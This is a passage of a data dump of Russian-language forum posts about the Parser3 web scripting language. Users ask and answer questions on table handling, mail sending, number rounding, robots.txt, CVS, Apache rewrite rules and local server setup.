$table[^table::create{id       section         uri\
1        Products        /products/\
2        Support         /support/\
3        Gallery         /gallery/}]\
[/code]\
В этом примере к столбцам следует обращаться непосредственно по названиям столбцов - $table.id - 1, $table.section - Products, $table.uri - /products/.\
\
Доходчиво?"
"15316","...Чтоб я здесь не задавал таких вопросов, как:\
- что должно стоять на сайте чтоб формы работали, например конференцию сделать чтоб? (или они итак работать будут, если сервак стоит, ведь на MS ISS если нет Server Extensions формы пахать не будут...)\
- какими характеристиками должен обладать хостинг для того чтобы разместить на нем Почтовик типа: Mail.ru Hotmail.com и т.п.?"
"15317","Еще один вариант(степень) защиты.\
Есть такая штука как АЙПИ спуфинг - это раз, + вдруг захочется мне из инет-кафе поадминить?\
Идеального варианта не существует.\
Тут главное выбирать по потребностям и возможностям. : )"
"15318","1. С чего бы это.\
2. Дешевый трафик. ИМХО"
"15319","Чего хотя люди и как они это выражают?\
"
"15321","- про формы ладно... забьем.\
- а вот Почта: Как Называется (что искать чтоб не пролететь) Тот Адрес который получает мой клиент? \
Например, мой_клиент@мой_сайт.ру - ведь это Mailbox? - А то у одних написано только Боксы, у других и Алиасы, и Акаунты, и боксы одновременно? - Как разобраться!! - ГДЕ В СЕТИ ЕСТЬ ПРО ЭТО ПОЧИТАТЬ и ПОГОВОРИТЬ? - Вы то уж наверняка знаете."
"15322","да не злые мы...нам просто не хочеться доку переписывать по парсеру."
"15323","Сейчас читаю по Parser'у... Обалдеть! То что надо! МУЗЫКА!! ВЫ МОЛОДЦЫ! ВЫ ГЕНИИ!!! Вообще придумать язык - это Гениально! Надо быть высокой логики человеком, с ШУСТРОЙ ГОЛОВОЙ на плечах!\
ВСЕМ БЫ ТАКУЮ!!! мы бы уже далеко ушли...\
\
Спасибо всем: http://www.parser.ru/authors/"
"15325","http://dataart.ru/soft/manuals/mpop/ ... Это ссылка на описание системы mPOP, на которой крутится mail.ru ... Там и системные требования есть ...\
\
Про формы ты зря: сервер вобще не в курсе, что у пользователя стоят какие-то формы, он просто получает http-запрос с параметрами. Любой веб сервер позволяет эти параметры обработать."
"15326","http://localhost/index.html и выдает он мне ФИГ: долго ищет где-то в сети, а потом ФИГ-вам.\
\
Открываю напрямую файл, открывает как простой файл на диске \"W\"."
"15327",")) эти частности ) тогда уж SSL сразу и всё путём)\
непомню почему, но ip мне пригождалось не раз )\
"
"15329","Хочу зайти на cvs. Скачал WinCVS, но никак не пойму её интерфейса. Расскажите буквально как зайти на cvs ?"
"15330","это можно\
1. или просто временно отключить\
2. или настроить, что для этого адреса не использовать proxy\
\
в MSIE делается в Tools|Options... Connections"
"15334","Здравствуйте.\
\
Подскажите, пожалуйста, как удалить из таблицы определенную строку?\
\
Наберусь смелости и вставлю кусок кода, огромный и страшный, но вдруг кто нибудь на путь истинный и наставит...\
\
Типа новости\
\
[code]\
$news[^table::load[news.dat]]\
$news_no[^news.count[]]\
\
<table cellpadding=\"6\" cellspacing=\"1\" border=\"1\">\
^news.menu{\
<tr>\
<td>$news.id</td>\
<td>$news.date</td>\
<td>$news.title</td>\
<td>^untaint[as-is]{$news.body}</td>\
<td><a href=\"erase.html?$news.id\">Править</a></td>\
</tr>\
}\
</table>\
[/code]\
###\
\
\
[code]\
<form method=\"POST\" action=\"add.html\">\
\
Date:	<br><input name=\"date\" value=\"${now.day} ${calendar_locale.month_names.[$now.month]} ${now.year}\"><br>\
Header:	<br><input name=\"header\"><br>\
Body:	<br><textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea><br><br>\
\
	<input type=\"submit\" value=\"Add New\" name=\"posted\">\
	<input type=\"reset\" value=\"Cancel\">\
\
</form>\
[/code]\
########\
add.html\
\
[code]\
^if(def $form:date && def $form:header && def $form:body){\
	\
	^news.append{$news_no	$form:date	$form:header	$form:body}\
	^news.save[news.dat]\
##	переадресация на страницу подтверждения\
	$response:refresh[\
		$.value[0]\
		$.url[done.html]\
	]	\
}\
[/code]\
##########\
erase.html\
Вот тут и возникает вопрос, о том как заменить текущую строку на другую, схожую по формату..\
[code]\
^if(^news.locate[id;$request:query]){\
	\
<form method=\"POST\">\
\
Date:	<br><input name=\"date\" value=\"$news.date\"><br>\
Header:	<br><input name=\"header\" value=\"$news.title\"><br>\
Body:	<br><textarea cols=\"50\" name=\"body\" rows=\"5\">$news.body</textarea><br><br>\
\
	<input type=\"submit\" value=\"Add New\" name=\"posted\">\
	<input type=\"reset\" value=\"Cancel\">\
\
</form>	\
}\
\
\
^if(def $form:date && def $form:header && def $form:body){\
	\
	$news[^table::load[news.dat]]\
	^if(^news.locate[id;$request:query]){\
\
	^news.append{$request:query	$form:date	$form:header	$form:body}\
	^news.save[news.dat]\
##	переадресация на страницу подтверждения\
		$response:refresh[\
			$.value[0]\
			$.url[done.html]\
		]\
	}\
}\
[/code]"
"15335","Какой смысл ставить WinCVS и пользоваться командной строкой?\
Неужели нельзя спокойно и беззаботно ходить под cvs, как ходим по ftp в любом виндовом клиенте?"
"15336","По той простой причине, что скачивать из cvs приходится целиком ветки, а не по одному файлу..."
"15337","1) уже писали, вроде Миша и вроде проще всего(просто лень искать, а вообще - Search This F****ng Forum) перезаписывать таблицу.\
\
2) А мускуля или другой БД нет? Там все гораздо проще."
"15338","Если win:\
http://www.tortoisecvs.org/\
Если *nix:\
http://www.cvshome.org/"
"15339","Оно практически в ФАКе, только там написано \"добавлять\" и \"изменять\", а про \"удалять\" не написали. Но вроде как я не помню, чтобы можно было другими способами."
"15342","Syntax check robots.txt on http://parser.ru/robots.txt (31 bytes) \
Line Severity Code \
It validates, but has some bad style.\
 \
1 warning Field names of robots.txt maybe case insensitive, but do capitalize field names to account for challenged robots. (eg: User-agent)\
User-Agent: * \
\
\
robots.txt source code for http://parser.ru/robots.txt \
Line Code \
 1  User-agent: * \
 2  Disallow: /forum \
\
Когда свой почтовый адрес проверяю «гуглом», то ссылки на parser.ru самые релевантные!"
"15344","есть файл mail.html примерно такой (стоит Cgi-парсер под linux)\
\
[code]\
@main[]\
^mail:send[    \
   $.content-type[ \
	   $.value[text/plain]  \
	   $.charset[windows-1251] \
	] \
   $.from[робот <robot@domen.org>] \
   $.to[мне <vasya@domen.org>] \
   $.subject[Привет] \
   $.body[проверка связи]   \
] \
\
[/code]\
сам сайт находится на domen.org\
отгребаю 500 ошибку.\
\
но стоит только поменять \"vasya@domen.org\" на любой другой, например, \"vasya@yandex.ru\" - всё работает и мыло приходит.\
\
Самое главное, что на xxx@domen.org мыло можно отправлять и оно доходить, и отправлять с него можно. И самое интересное, что можно послать с vasya@domen.org на vasya@domen.org и письмо доходит, но это только почтовым клиетом. Парсер не хочет!!!\
\
"
"15345","который хочет (хотел) автоматизировать работу обновления сайта и вникать в подробности работы CGI и вебсервера у меня просто нет времени. Легкий намек как заставить текущий сайт обрабатываться парсером меня устроит. Пока что занимаюсь флашем но очередь HTMа уже подошла."
"15346","Установил Денвер и Парсер. \
На win98 возникает ошибка с Shdoclc.dll, не хочет с Парсером дело иметь. Как быть? Если удалить (к примеру) Shdoclc.dll, то всё в порядке, Парсер работает, но при этом браузер работает глючно. На ХР таких проблем небыло, но пока нет возможности переустановить систему."
"15347","Здравствуйте.\
\
Убеждаю начальника делать сайт с помощью PARSER3. А он хочет PHP. Вроде я его уже сломал, но задал мне вопросы на которые я не смог ответить. Пожалуйста, помогите. Очень нужно.\
\
Вопрос 1. Так как parser не компилируется как модуль апача, а просто работает как CGI-парсер, то при одном хите в секунду серверу будет плохо.\"\
\
\
Вопрос 2. Никаких преимуществ по сравнению с PHP я не увидел.\
\
Дайте ответы. Пожалуйста. Заранее спасибо."
"15348","Нам тоже нужно спасибо сказать! ;-) Ждём. ;-) "
"15349","1. AFAIK, товарищ egr даже написал модуль для Apache 2.0. Так что это не должно быть проблемой. \
\
2. Главное преимущество -- простота написание сценариев, следовательно меньше затрат на составление/редактирование сайта. "
"15351","Пытаюсь сделать следующее:\
Если есть что-то в базе, то в MAIN добавляю класс @show_right[],а он не добавляется, зараза %( ЧТО ДЕЛАТЬ?\
\
^if(def $last){                                        \
^dbconnect{                                            \
  $last_menu_item[^table::sql{SELECT nmbr              \
                              FROM  menu_item          \
                              WHERE menu_nmbr=$last}]  \
 }                                                     \
 ^if(def $last_menu_item.nmbr){                        \
  ^process[$MAIN.CLASS]{@show_right[]                  \
  ^swither[4]}                                         \
  }                                                    \
}\
\
"
"15352","@CLASS must contain sole name??? \
\
Пытался поставить се опросник из примеров на http://crimnet.invex.ru/poll/ такая вот фигня.\
\
ашипка типа в этой части\
\
[code]\
##############################################\
## Poll creating and supporting class\
@CLASS\
poll\
##############################################\
## main constructor\
@create[pi_table_in;pa_table_in;extra][extra]\
## defining poll_info table\
$pi_table[$pi_table_in]\
## defining poll_answers table\
$pa_table[$pa_table_in]\
## defining date used in methods\
$date_now[^date::now[]]\
## adding extra methods\
^if(def $extra){\
^try{\
^if(-f $extra){\
$extra[^file::load[text;$extra]]\
^process{^taint[as-is][$extra.text]}\
}{\
^throw[parser.runtime;poll;Extra methods file not found]\
}\
}{\
^throw[parser.compile;poll;Extra methods compiling error. Check your extra methods code]\
}\
}\
######## end of @create[] constructor ########\
[/code]"
"15353","адаптировал слегка, но и то не всё. Модуль имеет глобальный эффект (т.е. если даже не назначать его обработчиком в .htaccess/httpd.conf он всё равно работает и обрабатывает все что выдает сервер) и не показываются рисунки.\
\
Дело в том, что output filter надо сделать чтобы было хорошо, но я этого не умею делать, поэтому положил пока я на это дело.\
\
Товарищ ПАФ говорил что модуль уже написан, естественно не мной, и ему просто не досуг его выложить.\
\
Модуль для Apache 1.3.x был с самого начала."
"15354","ответ 1. компилируется.\
[code]\
C:\\Documents and Settings\\paf\\My Documents>wget -d http://spb.mts.ru\
...\
HTTP request sent, awaiting response... HTTP/1.1 200 OK\
Date: Fri, 04 Apr 2003 06:06:48 GMT\
Server: Apache/1.3.22 (Unix) Parser/3.0g rus/PL30.9\
[/code]\
\
ответ 2.\
http://www.parser.ru/faq/ Ctrl+F \"PHP\", найдёте две статьи."
"15355","это значит, там что-то ещё, кроме имени, закралось.\
приведённый код ошибки не содержит, пожалуйста, проверьте, что вы не стёрли какие-нибудь строки из @CLASS, когда перетаскивали пример сюда."
"15356","в базе лежит текст с такими символами, но привыводе вместо них подставляется [code]ШКОЛА ™ 19[/code]\
\
где косяки могут быть?"
"15357","забыл добавить: строка должна выводится через ^str.upper[] - эти данные вводятся разным народом и название должнобыть в верхнем регистре на экране.\
\
убтраю - все нормально.\
\
как обойти?"
"15358","что в нём указано в колонке — «а в верхнем регистре эта буква такая-то»?\
\
похоже, вы нашли ошибку. просьба прислать правильное значение."
"15359","Фиша в том, что это на сайте под вторым парсером.\
\
На сайте под P^3 все в порядке(еще раз снимаю шляпу перед этим продуктом).\
\
Но поскольку ошибка осталась(в P^2) хотелось бы узнать - как обойти это?"
"15360","...у вас вместо двоеточия точка :\
[b]как у вас[/b]\
[code]\
^process[$MAIN[b].[/b]CLASS]{@show_right[] \
        ^swither[4]\
}\
[/code]\
[b]как надо[/b]\
[code]\
^process[$MAIN[b]:[/b]CLASS]{@show_right[] \
        ^swither[4]\
}\
[/code]"
"15361","Есть таблица форума.\
Форум посторен на вложенности.\
В таблицу форума мне не хочится вносить поле \"id_thread\"\
\
Нужно составить такой запрос, который выбирал бы из таблицы данные нужного трейда используя только 2 поля\
1. id - Уникальный id сообщения\
2. parent_id - id вопроса, на который ответили (для корневых сообщений 0)\
\
Есть возможность такой запрос составить, если да, то намекните ;)"
"15362","дело в том, что архив, который приведен на сайте, неактуален. Мне давно следовало бы обновить его на последнюю версию, да не досуг. Сейчас сделаю...:)\
\
P.S. Вся инсткрукция будет в архиве."
"15363","1.\
если ^process и так написан в классе MAIN, можно первый параметр вообще опустить.\
\
2.\
используйте ^process так редко, как это возможно.\
давайте поспорим на две копейки, что в данном случае он совершенно не нужен."
"15364","думаю, что, к сожалению, в p2 используется слишком простой способ up/low-casechange, чтобы это работало.\
\
сделайте очевидное обходное решение для этой несчастной буквы."
"15366","в тексте\
[quot]\
It validates, but has some bad style\
[/quot]\
\
что-то перевела как \"ошибка\".\
"
"15368","в продолжении: http://www.parser.ru/forum/?id=14140\
\
1.\
скоро режим просмотра строк будет убит (жертва оптимизации скорости и памяти).\
http://www.parser.ru/docs/lang/app6.htm Ctrl+F \"ORIGINS\"\
\
необходимо морально себя готовить не использовать его.\
\
кто не использовал: можно одним глазком глянуть, как оно было:\
добавьте (developer hosting) в /auto.p в @auto[] такое заклинание:\
\
@auto[]\
#такое заклинание\
$ORIGINS(1)\
\
и нажмите refresh. а теперь… забудьте об этом :(\
\
2.\
древний способ отправки почты (давно остуствующий в документации) в 3.0.8 ещё будет, а в 3.1 умрёт совсем.\
\
больше нельзя будет отправить письмо так:\
^mail:send[\
    …\
    $.body[тут текст]\
]\
"
"15370","И надеюсь что с видимость методов классов больше не будет меняться, уж очень лениво все опять переделывать :)"
"15371","Так?\
[code]\
$cutstring[^log.select(^log.line[] > 1)]\
[/code]"
"15372","По этому адресу http://www.yandex.ru/info/webmaster2.html ребята абсолютно искренне советуют писать с большой буквы. Что кстати и подтверждают своим http://yandex.ru/robots.txt\
\
Вопрос вот в чём! Рулит или нет регистр в слове  Agent?\
Если да, то:\
http://parser.ru/robots.txt    написан в верхнем регистре\
http://design.ru/robots.txt    написан в нижнем регистре \
\
:o)\
\
У http://yandex.ru/robots.txt в верхнем\
У http://google.com/robots.txt в нижнем\
\
Кто прав?\
\
P.S. Я всегда ориентировался на http://www.robotstxt.org/wc/robots.html  Они пишут в нижнем. Но так как ребята из студии авторитеты, :o) то и каша в голове соответственная.\
"
"15373","как округлить 45.3456 до 45.35 ?\
в доке сказано что можно только до лижайшего целого!(("
"15374","в новую таблицу данных кроме первого (см. курсор таблицы)"
"15375","Нужно было сделать лог на сайте, вот как я это сделал:\
[code]\
$log[^table::load[/log.txt]]\
^if($log >= 200){\
$cutstring[^log.select(^log.line[] > 1)]\
^cutstring.append{$env:REMOTE_ADDR	${now.day}-${now.month}-${now.year} ${now.hour}^:${now.minute}	^zagolovok[]	$env:HTTP_REFERER}\
^cutstring.save[/log.txt]\
}{\
^log.append{$env:REMOTE_ADDR	${now.day}-${now.month}-${now.year} ${now.hour}^:${now.minute}	^zagolovok[]	$env:HTTP_REFERER}\
^log.save[/log.txt]\
}\
[/code]\
Вопрос такой: правильно ли я это сделал или нужно было как-то подругому?"
"15376","[code]$var(45.3456)\
^var.format[%.2f][/code]"
"15377","1. ^eval(45.3456)[%.2f]\
2. умножить/округлить до целого/разделить"
"15378","сообщите её.\
И что вас не устраивает в вашем логе?\
Если он рабочий."
"15379","это все просто обрезает! но не округляет.! ("
"15380","А так, в работе кода, всё устраивает."
"15381","Вам надо было округлить, я вам и округлил, в чем проблема?\
В чем задница между обрезает и округляет?"
"15385","если я напишу <HTML>123</HTML> он выведет 123?\
\
Во первых если проект полномосштабный и обновляется 10.000 раз в суки, тут и ежу понятно, что лучше юзать *SQL, и сувать все туда."
"15387","format. Вывод числа в заданном формате \
\
^имя.format[форматная строка] \
\
Метод выводит значение переменной в заданном формате (см. Форматные строки). \
\
Пример использования \
\
$var(15.67678678) \
^var.format[%.2f] \
\
Возвратит: 15.68"
"15388","Сделал copy/paste куска:\
[code]\
$var(15.67678678) \
^var.format[%.2f]\
[/code]\
\
и увидел, что все работает нормально: [b]округляется[/b] в соответствии с форматной строкой. так и должно быть.\
\
проблемы не понял."
"15390","Предложите другой метод добавления метода к классу с неким условием..."
"15391","Скрипт нормально работает под видной - но есть до 200 мб (читал конфу и знаю это не предел)\
\
Под unix начинает нормально работать и падает под out pool of memory\
\
Скрипт по данным из БД строит ХМЛ файлы (около 500)\
а потом их преобразует в хтмл. \
\
Вот на этапе генерации он и отваливается.\
\
Какие конструкции Парсера могут вызвать трату памяти?\
Может можно память очищать? \
\
В общем посоветуйте ...\
"
"15392","у парсерных таблиц есть номер строки ^таблица.line[]\
\
автор треда воспользовался правильным инструментом для решения своей задачи (и он привел [url=\"/forum/?id=15371\"]кусок парсерного кода[/url] из которого становится понятно, о каких таблицах и о каком \"отборе\" он ведет речь)\
\
другое дело, что я подвергаю сомнению необходимость хранить лог в таком виде.\
\
и его конструкцию \
[code]\
$cutstring[^log.select(^log.line[] > 1)]\
[/code]\
можно записать несколько иначе (но суть не меняется)\
[code]\
$cutstring[^log.select(^log.line[] != 1)]\
[/code]\
\
и ты все-таки ознакомься с докой по парсеру...\
\
ссылка по теме: http://www.parser.ru/docs/lang/tableselect.htm\
"
"15393","если метод есть, его можно вызывать по условию (по тому-же самому, по которому ты его создаешь)\
\
можно действиями метода управлять с помощью передаваемых ему параметров (а параметры формировать по твоему условию).\
\
и т.д.\
\
при этих вариантах не будет затрат времени на компиляцию посреди работы твоего скрипта, что происходит при использовании ^process{}\
"
"15395","и еще вариант:\
[code]\
$cutstring[^log.select(^log.offset[])]\
[/code]"
"15396","см. http://www.parser.ru/forum/?id=14140\
\
см. в CVS ветку templates_gc."
"15397","Я просто давно ничего на нем не делал :)"
"15399","Что бы хотелось увидеть\
1. Более полная поддержка DOM — свойства и методы, связанные namespaces. Сейчас приходится всё делать черех DOM+XPath или XSL\
2. У нас в Денвере есть затычка для sendamil. Вся исходящая почта собирается в одном файлике — очень удобно для тестирования скриптов, отсылающих почту. К сожалению, работает с PHP, Perl, а с Parser'ом не работает."
"15400","Не могу въехать, как работает такая конструкция. Что вернёт ^log.offset[] ноль? И что тогда сделает select? Илит Вы имели в виду ^log.offset[] != 0?"
"15401","вот кусок parser3.log:\
\
\
[Fri Apr  4 14:36:38 2003] /news/: config(0): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>]\
\
в чем может быть проблема?\
пробовал кластьт libmysqlclient.so в cgi-bin/lib,\
результат тот же.\
\
система redhat linux.\
\
"
"15402","имеются в виду только забытые мной\
[code]\
createElementNS\
createAttributeNS\
[/code]\
или что-то ещё?"
"15403","это не safe. если хотите такой вариант, соберите, исходники в CVS."
"15405","Конечно подождем немного, но может можно чего-нибудь посоветовать сейчас?"
"15406","биты стоят. что дальше-то?"
"15410","Я поставил Денвер, все работает. \
- ДАЙТЕ ТОЛЧОК: Как создать свой сайт (типа http://localhost/) в Апаче: куда что нажать и что написать?\
\
Спасибо!"
"15411","А зачем выпускать 2 версии. 3.1 может работать не стабильно?\
Спрашиваю, потому как нужно будет решать какую ложить в базовый Денвер."
"15412","Проблема с тем, что при ^transform[] тег [code]<textarea name=\"body\"></textarea>[/code], превращается в [code]<textarea name=\"body\" />[/code],\
а браузеры не умеют его правильно интерпертировать, как поместить в буквальный результат, без этого преобразования ?"
"15413","Не хватало как минимум namespaceURI, localName.\
\
А вообще есть ещё целая пачка методов, например:\
\
// Introduced in DOM Level 2:\
  DOMString          getAttributeNS(in DOMString namespaceURI, \
                                    in DOMString localName);\
  // Introduced in DOM Level 2:\
  void               setAttributeNS(in DOMString namespaceURI, \
                                    in DOMString qualifiedName, \
                                    in DOMString value)\
                                        raises(DOMException);\
  // Introduced in DOM Level 2:\
  void               removeAttributeNS(in DOMString namespaceURI, \
                                       in DOMString localName)\
                                        raises(DOMException);\
  // Introduced in DOM Level 2:\
  Attr               getAttributeNodeNS(in DOMString namespaceURI, \
                                        in DOMString localName);\
  // Introduced in DOM Level 2:\
  Attr               setAttributeNodeNS(in Attr newAttr)\
                                        raises(DOMException);\
  // Introduced in DOM Level 2:\
  NodeList           getElementsByTagNameNS(in DOMString namespaceURI, \
                                            in DOMString localName);\
  // Introduced in DOM Level 2:\
  boolean            hasAttribute(in DOMString name);\
  // Introduced in DOM Level 2:\
  boolean            hasAttributeNS(in DOMString namespaceURI, \
                                    in DOMString localName);\
\
\
Наверное, были какие-то специфически причины их не реализовывать ?"
"15414","[i]Какие конструкции Парсера могут вызвать трату памяти?[/i]\
в вашем случае - генерация за один проход большого количества DOM-объектов.\
\
[i]Может можно память очищать?[/i]\
пока вроде нет \
\
[i]В общем посоветуйте ...[/i]\
хммм... разделите генерацию документов на несколько этапов(5x100)?"
"15416","и(тихонько так) надеялся, что эту рутинную работу мне помогут сделать заинтересованные лица: сделать тривиально, надо посмотреть на имеющееся и сделать параллельно. \
\
может сделать любой человек, знающий любой язык программирования.\
\
в моём inbox пока пусто."
"15418","Предложите другой метод добавления метода к классу с неким условием...\
дело в том что, то что строит сайт разбито на 3 раздела, условно \"левая часть\", \"правая часть\" и \"центр\". Так вот - правая часть [b]иногда[/b] должна содержать некоторый текст или вызовы методов. Причем, это нужно делать как при помощи базы, так и редактирую  соответствующий файл на диске. При этом, если писать что-то ручками в файле, все то что из базы намертво затирается этим текстом, а иногда этого не нужно. \
Та конструкция, приведенная выше, позволяла отображать, когда нужно правую часть, и если нужно полностью переопределять метод отображения части сайта в конкретном файле. но не могу сделать так чтобы [b]ДОБАВИТЬ[/b] некоторый код ручками, по конкретному адресу в конкретный метод (для отображения \"центральной части\" или \"правой\" или \"левой части\")\
\
Может быть, я сильно загнул... но помогите пожалуйста!!!!!!!!!!!!\
"
"15419","что вам не понятно в Мишином, да и в PAF'овском постах? Хотите жеваное? Пожалуйста :\
[code]\
## ваш метод, который вам нужно \"иногда\" \"подключать\"\
@my_method[]\
bla\
bla\
bla\
.\
.\
\
## ваш код, где вам \"иногда\" \"нужно\" добавлять ваш метод\
bla\
bla\
^if(условие){\
## да\
     ^my_method[]   \
}{\
## нет\
}\
[/code]\
Доходчиво?\
\
P.S. С ума сойти - куда катится наш Парсер...:)"
"15420","Если есть, то это корень web сервера, дальше создай в корне файл index.html , адрес этой страницы http://localhost/"
"15422","Хотя с другой стороны, мне удалось избавится от process'a %)\
Пришлось некоторую конструкцию существенно изменить.\
Хотя, если показать эту конструкцию, то загнутость у нее стала - еще хлещи. %) ПАФ  наверное бы помер(чего не хотелось бы)!\
\
Всем спасибо!!!!\
"
"15423","есть метод для перемещения файла.\
^file:move[/path1/file1;/path2/file2]\
есть метод для получения оглавления каталога\
^file:list[path]\
после удаления последнего фйла из каталога, удаляется и сам каталог\
при создании файла по не существующему пути, создается и сам путь."
"15424","Там же все подробно написано.\
Делаешь в каталоге, куда поставил Денвер папку mysite, в ней папку www, перезапускаешь Apache. И все."
"15425","а на сайт я давно уже забил"
"15426","Дык я ж не просто так спрашиваю, я время тяну... [i]=)[/i]\
Просто мы тут все сговорились и скрываем от дизайнеров любую важную информацию, чтобы они не отбирали хлеб у бедных программистов и кодеров...  :)))\
  "
"15428","скачал исходники, положил их в\
D:\\parser3project\\parser3\
скачал утилиты для сборки под win32, положил их \
D:\\parser3project\\win32\
открыл D:\\parser3project\\parser3\\parser3.dsw в VC++6\
нажимаю F7 — нифига\
полазял по меню — ничего не обнаружил\
\
что не так?\
я в VC++ совсем не разбираюсь...\
\
спасибо."
"15429","Мне надо зделать, чтобы в файле с базой примерно такой производился поиск из поля...\
\
База:\
url name opisanie\
/ Главная Главная страница сайта\
\
то есть организовать мини поисковик... \
Подскажите...\
\
С уважением Gizmo."
"15431","Выложите, пожалуйста архивированную доку в хтмл формате, а то работаю сейчас под ллин-консолью - ни чм ни пдф мне там недоступны..... : ("
"15432","Попробую с новым архивом...\
\
Вообще такой вопрос: насколько целесообразно делать опрос на парсере? У меня опрос вообще то есть уже, на перле написаный. Сайт на парсере. Изменит ли это время загрузки, или без разницы?"
"15434","Что есть «не safe»?\
В прошлой версии код, запускающий sendmail, был в принципе несовместим с Windows (насколько я помню). С тех пор произошли какие-то изменения?.."
"15435","Как-как...\
http://localhost/Test/parser3/"
"15436","Как можно это сделать? Никак не могу придумать. Или проще MySQL воспользоваться (там, кажется, так так можно)?"
"15437","http://www.parser.ru/docs/lang/?table2hash.htm"
"15440","Возможно ли в парсере измерять время точнее, чем в секундах?\
(в стандартной документации, по крайней мере, ничего кроме секунд не обнаружил:\
^date::create(year;month;day;hour;minute;second)\
а требуются либо миллисекунды, либо что-то ещё поточнее.\
\
Спасибо за ответ!"
"15442","Задача довольно проста: необходимо измерить скорость выполнения скрипта-- чем точнее, тем лучше (т.е. либо запустить таймер перед выполнением определённых операций и по их окончании остановить его и вывести результат, либо заполучить дату с точностью до, скажем, микросекунды, а по окончании выполнения скрипта сравнить её с текущей датой и вывести разность).\
\
[url=http://forum.ru-board.com/topic.cgi?forum=31&topic=2637#1]Здесь[/url]возник спор по поводу быстродействия Perl и PHP: народ провёл три простейших теста по замеру скорости выполнения следующих операций: вывод в браузер 100000 раз строки \"Hello world<br>\", печать в файл строки \"Hello world\" 100000 раз и создание MySQL таблицы с 10000 записей.\
\
Попытался написать аналогичные скрипты на Parser (интересно, как он по скорости соотносится с PHP и Perl)-- но всё упёрлось именно в то, что не нашел ни более точного измерения даты, чем с точностью до секунды, ни чего либо другого для измерения времени :("
"15444","OFFTOPIC: URL Rewrite\
\
Господа, простите за оффтопик, но что-то я не нашел толкового форума по Апачу.\
Возникла такая проблема с URL Rewrite.\
\
Есть multilangual сайт. Каждый шаблон (файл) должен обслуживать все языки (т.е. не хотим физически разделять сайт).\
Соответственно нужно сообщить скрипту на каком языке отображать сраницу. Передавать это дело через GET не хотим, а хотим так как будто сайт разделен физически.\
Для этого и используем Rewrite.\
Т.е. с наружи идет запрос /rus/somedir/somefile.html или /eng/somedir/somefile.html, а внутри -> /somedir/somefile.html\
\
Под виндузой (2000/XP) все работает правильно, а под RedHAT - нет. (везде использовался Apache 1.3.27)\
\
В httpd.conf в секции VH написано:\
   RewriteRule ^/(rus|eng)$ /$1/\
   RewriteRule ^/(rus|eng)/(.*) /$2\
\
Делаем http запрос: GET /rus/\
\
Вот, что мы видим в логах реврайта:\
\
Под виндузой:\
(2) init rewrite engine with requested uri /rus/\
(3) applying pattern '^/(rus|eng)$' to uri '/rus/'\
(3) applying pattern '^/(rus|eng)/(.*)' to uri '/rus/'\
(2) rewrite /rus/ -> /\
(2) local path result: /\
(2) prefixed with document_root to /path/to/host/docroot/\
(1) go-ahead with /path/to/host/docroot/www/ [OK]\
\
Под юниксом:\
(2) init rewrite engine with requested uri /rus/\
(3) applying pattern '^/(rus|eng)$' to uri '/rus/'\
(3) applying pattern '^/(rus|eng)/(.*)' to uri '/rus/'\
(2) rewrite /rus/ -> /\
(2) local path result: /\
(1) go-ahead with / [OK]\
\
Как видите под юниксом не происходит \"prefixed with document_root to /path/to/host/docroot/\" из за чего получаем Not Found.\
\
При чем если запросить глубже (/rus/index.html или /rus/somedir/ и т.д.) то все работает.\
\
Может кто знает, в чем проблема?"
"15445","не уверен, конечно, я IIS+W2k на Apache+AltLinux пересел, но тут и в старом форуме мелькали подобные вещи: (если точно помню) это вызвано тем, что один из них(Apache for Win и Apache for *nix) не совсем верно обрабатывает запрос вида www.somesite.xx/.\
\
Вообщем поищи здесь на форумах."
"15446","Спасибо вам за замечательный продукт, за помощь, наваял уже сайтец. Проблема вот какая. Как добавлять в таблицы многострочные записи? Вот пример: http://violetvortex.metal-forever.com/book.html - гостевая книга. Товарищи, давшие поддомен, выделить БД не могут, у них лимит, посему использую обычную текстовую таблицу. Но, как видите, поле ввода текста - однострочное, когда использовал <textarea> - при добавлении многострочного сообщения страница сыпалась. Можно ли как-то \"вылавливать\" переводы строк, что-бы при занесении записи в таблицу они переводились в <br> или </p><p>?\
И еще разработчикам - планируете ли вы расширять возможности работы с table, или или оставите это для SQL?"
"15448","http://www.parser.ru/docs/lang/?statusrusage.htm"
"15450","Спасибо, посмотрю.\
Обидно только, что\
[quote]...Не все операционные системы умеют возвращать эти значения, [b]под Win32 не работает ни одно[/b]\
(rusage. Информация о затраченных ресурсах) [/quote]\
:("
"15451","Теперь имеет более-менее удобоваримый вид, и постоянное место:\
http://spearance.tura.ru/parser3/regexp/\
Складывать примеры в копилку может кто угодно, ограничений нет. Однако все примеры будут проверяться на корректность и работоспособность.\
\
Если есть желающие поддержать проект - милости прошу, если нет, просьба грязью не поливать..."
"15453","спасибо Виктору Федосееву, который прислал соответствующий patch."
"15454","Сорри, ничего толком не понял. Если использовать ^string.replace то как описывать перевод строки? а с ^taint чтот не выходитъ."
"15455","во блин... порылся, ответ нашел... всем спасибо..."
"15456","Мое решение, если есть красивее напишите пожайлуста."
"15457","...правильно будет regexp, а на монете - regex. Исправить бы...:)))\
\
P.S. А так, я этот ресурс уже давно знаю..:)"
"15458","Поискал по форуму, оказывается преценденты этих граблей уже были, в частности тут http://www.parser.ru/forum/?id=10788 \
[b]failed to load external entity \"x:///www/map.xml\"[/b] \
но ответа я так и не нашел.\
Откуда же в пути при подключении [b]external entity[/b], после имени диска(под Win32, на Unix не пробовал) появляются эти 3 [b]///[/b], из-за которых наверняка он его и не может загрузить, если дело в другом поясните пожалуйста.\
А проблема возникла при попытке динамически сформировать xdoc, с <xsl:import href=\"smth.xsl\"/>, но она проявляется всегда при попытке load external entity. Помогите, кто горазд.\
\
P.S.: А может еще кто подскажет, как в xslt получить случайное число до 10 например. Мысли в голове есть, но для этого нужно написать свой генератор случайных чисел, что мне кажется перебором для языка xslt. Может я какую стандартную ф-цию не заметил?"
"15459","1. в левом меню стОит таки показывать, в каком разделе мы находимся, а то ни заголовка нет чтобы понять это, и из меню не ясно... зашел, загрузился попыткой понять выражение, забыл куда именно зашел... заблудился однако...\
\
2. все-таки следует упомянуть, что это за регулярные выражения (насколько я понимаю, это parser3, следовательно PCRE)\
\
3. мне кажется с примерами что-то не то... по моему пример должен показывать [b]что было[/b] и [b]что стало[/b], а не просто кусок не пойми чего.\
\
4. \"замена тегов\". пардон, но [ b ] и Co - это не есть теги...\
\
5. на те разделы, где нету записей - можно не ставить ссылку, IMHO\
\
